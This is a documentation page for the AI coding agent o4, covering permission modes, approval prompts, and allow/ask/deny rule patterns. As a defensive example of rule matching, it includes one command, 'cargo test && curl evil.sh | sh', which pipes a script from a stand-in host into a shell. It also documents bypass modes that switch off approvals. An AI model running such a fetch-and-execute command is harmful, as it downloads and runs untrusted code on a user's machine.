> ## Documentation Index
> Fetch the complete documentation index at: https://docs.open4rena.ai/llms.txt
> Use this file to discover all available pages before exploring further.

# Permissions

> Choose what o4 may do without asking, with permission modes and rules.

Every tool the model calls goes through o4's approval check before it runs. The permission mode sets how much o4 asks you, and permission rules let you allow, ask about, or deny specific tools and arguments. Permissions decide whether a tool call runs at all. The [sandbox](/safety/sandbox) is a separate layer that limits what an approved shell command can reach.

## Permission modes

A session has one permission mode. The default is `ask`.

| Mode | Reading and searching | File edits (`write`, `edit`, `notebook_edit`) | Shell commands and other tools |
| - | - | - | - |
| `ask` | Runs | Asks | Asks |
| `accept-edits` | Runs | Runs | Asks |
| `plan` | Runs | Refused | Refused |
| `review` | Runs | Reviewer model decides, then asks you | Reviewer model decides, then asks you |
| `auto` | Runs | Runs | Runs, except installs with install-time scripts, which ask |
| `bypass` | Runs | Runs | Runs, including installs with install-time scripts |

In every mode, `deny` [rules](#permission-rules) and `PreToolUse` [hooks](/extend/hooks) can still refuse a call.

What each mode means in practice:

* **`ask`**: o4 prompts before file changes, shell commands, web fetches and searches, and anything else that isn't read-only. Some tools ask only once per session for the same target (see [Ask once, ask every time](#ask-once-ask-every-time)).
* **`accept-edits`**: file edits and writes run without a prompt. Shell commands and other tools still ask.
* **`plan`**: read-only. Tools that always run (reading, searching, listing, `git_info`) still work. Everything else is refused without a prompt. This is separate from [Plan mode](/guides/plan-mode) (`Shift+Tab`), which limits the model to a set of planning tools whatever the permission mode.
* **`review`**: before o4 shows you a prompt, a reviewer model checks the exact action. The reviewer is the model the session started with; switching models with `/model` doesn't change it. If the reviewer approves, the tool runs. If it declines, times out (after 60 seconds), or errors, you get the normal prompt instead. A declined review never blocks a tool on its own. The reviewer approves `bash` commands only when an enforcing sandbox is active and the sandbox tier is not `open`. Otherwise you are asked. This check looks at the tier you pick with `Alt+S` (or `default_tier`), not at `--sandbox`, so with `--sandbox danger-full-access` the reviewer can still approve commands that then run unsandboxed. After 3 declines among the last 5 reviews in a turn, o4 stops consulting the reviewer and asks you directly until the next turn.
* **`auto`**: tool calls that would prompt run without asking.
* **`bypass`**: every tool call runs without asking, including package installs that declare install-time scripts.

<Warning>
  `auto` and `bypass` let the model edit files and run shell commands without asking you. Use them only in a workspace you can afford to lose changes in, and keep the [sandbox](/safety/sandbox) on. In every mode except `bypass`, o4 still asks before a package install that runs install-time scripts. `deny` rules apply in every mode, including `bypass`.
</Warning>

## Choose a mode

Pass `--permission-mode` when you start o4:

```bash theme={null}
o4 --permission-mode accept-edits
```

In the TUI, press `Alt+A` to cycle modes in this order: `ask`, `accept-edits`, `plan`, `review`, `auto`, `bypass`, then back to `ask`. The new mode takes effect right away, and a toast shows it, for example `Approval policy: Accept edits`. Switching into `bypass` opens a confirmation first ("Enable bypass approvals?"). Press `Y` or `Enter` to confirm, or `N` or `Esc` to switch to `ask` instead. You can rebind `Alt+A` with the `cycle_approval` action in `[keybindings]`; see the [configuration reference](/reference/configuration#keybindings).

Starting a session in `bypass` shows a warning: "Approval mode is bypass: every tool call runs without asking, including installs".

### The default mode

The **Permission default** row in `/config` (General tab) sets the mode new sessions start in. Each `Enter` on the row moves to the next of `ask`, `accept-edits`, `plan`, `review` and `auto`, and the current session switches to that mode too. It is saved as `permission_default` in `~/.o4/settings.json` (the older spelling `allow` still means `auto`). `bypass` can't be saved as a default. You have to pick it for each session.

`--permission-mode` overrides the saved default for that run. When you resume a session, o4 restores that session's last mode unless you pass `--permission-mode`. A session that was in `bypass` resumes in your default mode instead.

### Print mode

In print mode (`--print`) nobody is there to answer a prompt. If you don't pass `--permission-mode`, print mode runs in `auto`. With `--permission-mode ask` or `accept-edits`, any call that would prompt is refused instead. With `review`, a call the reviewer doesn't approve is refused. Because a package install that runs install-time scripts always needs a prompt, print mode refuses it in every mode except `bypass`. See [Print mode and scripting](/guides/print-mode).

## The approval prompt

When a tool needs your approval, o4 shows the tool name, a description, its arguments, and for file edits a short preview of the change. For a sub-agent's request, it also shows which sub-agent is waiting.

For most tools the choices are:

| Choice | Key | Effect |
| - | - | - |
| Yes, proceed | `y` or `1` | Run this call. |
| No, cancel | `n`, `2` or `Esc` | Refuse this call. The model sees that you denied it. |
| No, and tell o4 what to do instead | `t` or `3` | Refuse and type a message that goes back to the model. |

For `write`, `edit` and `fetch` calls, when o4 can build a reusable pattern from the call, the prompt offers pattern choices instead of **No, cancel**:

| Choice | Key | Effect |
| - | - | - |
| Yes, proceed | `y` or `1` | Run this call. |
| Always allow pattern | `p`, `a` or `2` | Run the call and save an `allow` rule for the pattern. |
| Always deny pattern | `d` or `3` | Refuse the call and save a `deny` rule for the pattern. |
| No, and tell o4 what to do instead | `t` or `4` | Refuse and send a message to the model. |

Use the arrow keys and `Enter` to pick a choice, or press its key. After `t`, type your message and press `Enter`. On a prompt with pattern choices, `Tab` approves the call and lets you type a note that goes to the model with it. `Esc` leaves the message box without deciding.

The saved pattern covers the file's folder or the URL's domain. For example, approving an edit to `src/app/main.rs` offers `Edit(src/app/**)`, and a fetch of `https://docs.rs/serde` offers `Fetch(domain:docs.rs)`. o4 applies the rule for the rest of the session and appends it to `[[permissions.rules]]` in the project's `.o4/config.toml`. In a workspace you haven't [trusted](/safety/workspace-trust), later sessions ignore that file, so the saved rule lasts only for the current session.

Shell commands are asked about each time, so they don't get these choices. Write `Bash(...)` rules yourself; see [Permission rules](#permission-rules).

`bash` commands that install packages declaring install-time (lifecycle) scripts get a different prompt: **Block installation** (`b` or `1`), **View full lifecycle scripts** (`v` or `2`) and **Allow installation** (`a` or `3`). **Block installation** is selected first, and on this prompt `y` blocks the install too. Only `a`, `3`, or `Enter` on **Allow installation** runs it.

### Ask once, ask every time

Each tool has a default level. In `ask` mode it decides whether you see a prompt:

* **Always run**: `read`, `glob`, `grep`, `ls`, `git_info`, `sleep`, `ask_user_question`, `tool_search`, `skill`, `todo_write`, `enter_plan_mode`, `exit_plan_mode`, `plan_status`, `task_list`, `task_get`, `task_output`, `task_wait`, `list_mcp_resources`, `codebase_query`, `show_architecture`, `harness_audit`, and the goal tools (`create_goal`, `get_goal`, `update_goal`).
* **Ask once per session**: `write`, `edit`, `notebook_edit`, `fetch`, `web_fetch`, `web_search`, `agent`, `undo`, `brief`, `send_message`, `synthetic_output`, `enter_worktree`, `exit_worktree`, `test_run`, `lsp`, `format`, `plan_create`, `plan_modify`, `checkpoint_create`, and MCP tools. After you approve one, o4 doesn't ask again this session for the same target: the same file for `write`, `edit` and `notebook_edit`, the same host for `fetch`, the same MCP server for MCP tools. For the other tools in this group, one approval covers the tool for the rest of the session.
* **Ask every time**: `bash`, `repl`, `task_create`, `task_update`, `task_stop`, `team_create`, `team_delete`, `remote_trigger`, `campaign`, `checkpoint_restore`, `read_mcp_resource`, the memory tools (`memory_save`, `memory_search`, `memory_list`, `memory_forget`), and tools that plugins add.

See [Tools](/reference/tools) for what each tool does.

## Permission rules

Permission rules let you allow, ask about, or deny tool calls by pattern, whatever the mode. Add them to any o4 config file as `[[permissions.rules]]` entries:

```toml theme={null}
[[permissions.rules]]
pattern = "Bash(cargo test *)"
action = "allow"

[[permissions.rules]]
pattern = "Bash(git push *)"
action = "ask"

[[permissions.rules]]
pattern = "Edit(migrations/**)"
action = "deny"
```

`action` is `allow`, `ask` or `deny`:

* **`allow`** runs the call without a prompt, as if the tool always ran.
* **`ask`** treats the call like a tool that asks every time, even if it normally asks once per session. The permission mode still applies, so in `auto` the call runs without a prompt.
* **`deny`** refuses the call in every mode, including `bypass`. The model gets "Tool execution denied by permission rule".

An `allow` rule treats the call like a tool that always runs, so it runs in every mode, including `plan`. The one exception: o4 still asks before a package install that runs install-time scripts (except in `bypass`).

### Pattern syntax

A pattern is a tool name, optionally followed by an argument pattern in parentheses:

* `Write` matches every call to the `write` tool.
* `Bash(npm run *)` matches `bash` calls whose command matches `npm run *`.

Tool names are case-insensitive, and o4 ignores punctuation in them, so `Bash`, `bash` and `shell` all name the `bash` tool.

The argument pattern is matched against one argument of the call:

| Tool | Argument matched |
| - | - |
| `bash` | the command |
| `read`, `write`, `edit` | the file path |
| `grep`, `glob` | the search pattern |
| `ls` | the path |
| `fetch`, `web_fetch` | the URL |
| `web_search` | the query |
| `agent` | the agent name |

Other tools have no argument to match, so only a bare tool name works for them. MCP tools are named `<server>__<tool>`, so a rule for the `search` tool of a server named `docs` uses the pattern `docs__search`. An argument pattern never matches an MCP tool, so `docs__search(...)` matches nothing.

In argument patterns, `*` matches any characters except `/`, `**` matches any characters including `/`, and `?` matches any one character. This applies to `bash` commands too: `Bash(git add *)` matches `git add README.md` but not `git add src/main.rs`, so use `Bash(git add **)` when a command can contain paths. Prefix a `fetch` pattern with `domain:` to match the URL's host: `Fetch(domain:*.github.com)`. Path patterns match the path exactly as the model wrote it, so a relative-path rule doesn't match an absolute path.

`bash` patterns are checked against each part of a compound command (joined with `&&`, `;`, `|`, and so on). Before matching, o4 strips leading wrappers such as `sudo` and `env FOO=1`, so `Bash(npm *)` also sees `sudo npm install`. An `allow` rule applies only when every part matches and o4 can parse each part; parts that use command substitution such as `$(...)` never count as matching an `allow` rule. A `deny` or `ask` rule applies when any part matches. So `Bash(cargo test *)` doesn't approve `cargo test && curl evil.sh | sh`.

### Precedence

* `deny` rules are checked first, then `ask`, then `allow`. The first match wins, so a `deny` always beats an `allow`, wherever each one came from.
* o4 collects rules from every config file it loads: `~/.o4/config.toml`, the project's `.o4/config.toml` and `.o4/config.local.toml`, and `~/.o4/managed/config.toml`. Rules from project files are only read in a [trusted workspace](/safety/workspace-trust). Rules add up across files; one file can't remove another's rules.
* If no rule matches, the tool's normal behavior and the permission mode decide.
* `PreToolUse` [hooks](/extend/hooks) run after the rules. A hook can block or deny the call, or return an allow or ask decision that replaces the rule's result.

### Manage rules in the TUI

Run `/config general`, select the **Permission rules** row, and press `Enter` to open the **Permission Rules** list. The list shows the rules in the current project's `.o4/config.toml`. Select a rule and press `Enter` to remove it from the file. Rules in other config files aren't listed there. Edit those files directly.

<Warning>
  After you remove a rule from this list, the current session keeps only the rules left in the project's `.o4/config.toml`. Rules from `~/.o4/config.toml`, `.o4/config.local.toml` and `~/.o4/managed/config.toml`, including their `deny` rules, stop applying until you start a new session. Start a new session after removing a rule if you rely on rules from those files.
</Warning>

The same tab has the **Sandbox tier** and **Sandbox policy** rows, covered in [Sandbox](/safety/sandbox).

## Related pages

* [Sandbox](/safety/sandbox): limit what approved shell commands can write and reach.
* [Workspace trust](/safety/workspace-trust): why project config and rules load only in trusted workspaces.
* [Configuration reference](/reference/configuration#permissions): the `[[permissions.rules]]` keys.
